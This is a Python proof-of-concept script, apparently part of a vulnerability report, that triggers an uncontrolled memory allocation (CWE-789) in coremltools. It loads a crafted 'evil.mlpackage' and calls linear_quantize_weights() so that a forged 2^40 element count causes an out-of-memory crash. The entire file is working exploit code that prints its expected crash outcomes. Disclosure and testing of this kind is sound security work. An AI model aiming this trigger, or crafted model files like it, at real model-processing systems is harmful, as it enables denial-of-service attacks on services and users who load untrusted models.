File size: 2,145 Bytes
d319b26 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 | """
CoreML CWE-789 Trigger
=======================
Loads evil.mlpackage and calls linear_quantize_weights(),
which triggers _milproto_to_pymil.load → _restore_np_from_bytes_value
→ element_num = np.prod([2^40, 1]) → huge allocation → OOM/crash.
Expected: MemoryError, SIGKILL, or OOM process death.
"""
import sys, os
pkg = '/tmp/evil.mlpackage'
if not os.path.exists(pkg):
print(f"[-] {pkg} not found — run make_poc.py first")
sys.exit(1)
print(f"[*] Package: {pkg}")
import coremltools as ct
from coremltools.optimize.coreml import OpLinearQuantizerConfig, OptimizationConfig
print(f"[*] coremltools version: {ct.__version__}", flush=True)
# Load without macOS proxy (works cross-platform)
print("[*] Loading model with skip_model_load=True...", flush=True)
try:
mlmodel = ct.models.MLModel(pkg, skip_model_load=True)
print("[+] MLModel loaded OK", flush=True)
spec = mlmodel.get_spec()
print(f"[+] Model type: {spec.WhichOneof('Type')}", flush=True)
print(f"[+] Spec version: {spec.specificationVersion}", flush=True)
except Exception as e:
print(f"[-] Load failed: {type(e).__name__}: {e}")
sys.exit(1)
# Trigger the vulnerable path:
# linear_quantize_weights → _convert_model_spec_to_pymil_prog
# → _milproto_to_pymil.load → _load_value → _restore_np_from_bytes_value
# → element_num = np.prod([2^40, 1]) → MASSIVE allocation → OOM
print("[*] Calling linear_quantize_weights() → triggers vulnerable _milproto_to_pymil.load...", flush=True)
print("[*] Expected: MemoryError or OOM kill on np.prod([2^40,1]) = 1,099,511,627,776 element alloc", flush=True)
try:
config = OptimizationConfig(
global_config=OpLinearQuantizerConfig(mode="linear_symmetric", dtype="int4", weight_threshold=0)
)
result = ct.optimize.coreml.linear_quantize_weights(mlmodel, config)
print(f"[!] Completed without crash — unexpected: {result}")
except MemoryError as e:
print(f"[+] CRASH: MemoryError — OOM from element_num=2^40 allocation: {e}")
except Exception as e:
print(f"[*] Exception: {type(e).__name__}: {e}")
finally:
print("[*] Done", flush=True)
|